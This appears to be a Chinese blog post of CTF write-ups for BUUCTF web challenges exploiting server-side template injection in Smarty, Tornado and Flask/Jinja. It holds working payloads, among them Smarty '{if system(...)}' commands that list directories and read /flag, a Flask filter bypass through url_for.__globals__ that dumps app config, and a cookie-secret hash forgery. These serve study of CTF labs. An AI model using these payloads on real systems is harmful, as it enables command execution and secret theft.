zoukankan      html  css  js  c++  java
  • BUUCTF SSTI

    [BJDCTF2020]The mystery of ip

    考点:SSTI-smarty

    解题

    习惯性打开Flag,进入/flag.php,“Your IP is : 172.16.170.85”,抓包,添加XFF,发现可控,然后不会利用,还是搜wp,测试存在ssti,用版本号,测出是Smarty模板,直接用它的payload就给解出来了
    DGeedx.png

    总结

    在发现可控点后,没想到是ssti

    [护网杯 2018]easy_tornado

    考点:SSTI-tornado模板
    Tornado是python的web框架
    打开题目是3个txt的链接:

    依次打开,注意url:

    flag在/fllllllllllllag



    cookie_secret:https://tornado-zh.readthedocs.io/zh/latest/guide/security.html

    把cookie_secret+md5(filename)进行md5就是filehash,要想办法弄出cookie_secret

    尝试访问/file?filename=/fllllllllllllag,url出现error?msg=Error,发现msg参数可控,其实file?filename=,(filename的值随意)也是同样的结果

    服务端模版注入漏洞检测payload整理

    发现过滤了数学运算符

    下载tornado框架源码,导入pycharm,全局搜索cookie_secret:

    看到cookie_secret在handler.application.settings配置中。

    {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '4dea0e25-9f47-4263-9be8-5b49b83ae3ec'}

    利用cookie_secret,求出filehash:

    <?php
    $cookie_secret = '4dea0e25-9f47-4263-9be8-5b49b83ae3ec';
    echo md5($cookie_secret.md5('/fllllllllllllag'));
    

    payload:/file?filename=/fllllllllllllag&filehash=d42012554c615c9eabad5dd6533a2bb9
    flag:

    [CISCN2019 华东南赛区]Web11(Smarty SSTI)


    1、右上角的当前IP是buu靶机的内网IP;最下面的“Build With Smarty !”可猜网页用PHP的Smarty引擎;中间XFF,猜测XFF处可能是SSTI注入点
    {$smarty} 保留变量

    可得Smarty版本为3.1.30,确定是Smarty的SSTI

    2、ls查看目录下有哪些文件:{if system("ls /")}{/if}

    查看flag:{if system("cat /flag")}{/if}

    笔记

    Smarty常用payload:

    利用smarty的{if}条件

    • {$smarty.version}查看smarty版本号

    • {if phpinfo()}{/if}查看php信息

    • {if system('ls /')}{/if}查看根目录下的文件

    • {if system('cat /flag')}{/if}

    • {if readfile('/flag')}{/if}

    • {if show_source('/flag')}{/if}

    [WesternCTF2018]shrine

    考点:SSTI-Flask模板

    解题:


    查看页面源代码:

    import flask
    import os
    
    app = flask.Flask(__name__)//参数__name__,获取当前文件名__main__;app是一个flask对象
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/') # 设置路由,读文件源码
    def index(): # 首页函数
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')#把()替换为空格
            blacklist = ['config', 'self'] #黑名单
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s #把config和self替换为空格
    
        return flask.render_template_string(safe_jinja(shrine))#模板渲染
    
    
    if __name__ == '__main__':
        app.run(debug=True) #开发时,开启debug调试模式,只要代码改变,服务器会重新加载代码
    

    1、测试,存在ssti

    http://c78aa7fd-7ab6-406a-8059-001ee91d59ef.node3.buuoj.cn/shrine/{{7*7}}
    

    2、

    app.config['FLAG'] = os.environ.pop('FLAG')
    

    这里说明flag在config中
    当创建1个Flask对象(也就是app),就可以通过app.config来查看这个app的所有配置变量

    s = s.replace('(', '').replace(')', '')#过滤了括号
    blacklist = ['config', 'self'] #黑名单
    

    本来我们可以使用config({{config}})或self({{self.__dict__}})获取信息,但这题把它们过滤了
    好在python有一些内置函数

    • url_for
    • get_flashed_messages

    官方文档:
    https://flask.palletsprojects.com/en/1.0.x/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793
    https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages

    url_for.__globals__:以字典类型返回当前位置的全部全局变量
    注入url_for方法:

    这个current_app是当前app,查看current_app下的config信息

    /shrine/{{url_for.__globals__['current_app'].config}}
    

    解法2:
    同理,payload:

    {{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
    

    参考链接:

    flask之ssti模版注入从零到入门
    Python模板注入(SSTI)深入学习

  • 相关阅读:
    .net core读取appsettings.config中文乱码问题
    vs2017错误:当前页面的脚本发生错误
    VS Code中无法识别npm命令
    Visual Studio报错/plugin.vs.js,行:1074,错误:缺少标识符、字符串或数字
    记录一次在生成数据库服务器上出现The timeout period elapsed prior to completion of the operation or the server is not responding.和Exception has been thrown by the target of an invocation的解决办法
    Java集合框架
    java hash表
    Java Dictionary 类存储键值
    java数据结构 栈stack
    java封装
  • 原文地址:https://www.cnblogs.com/wrnan/p/13744183.html
Copyright © 2011-2022 走看看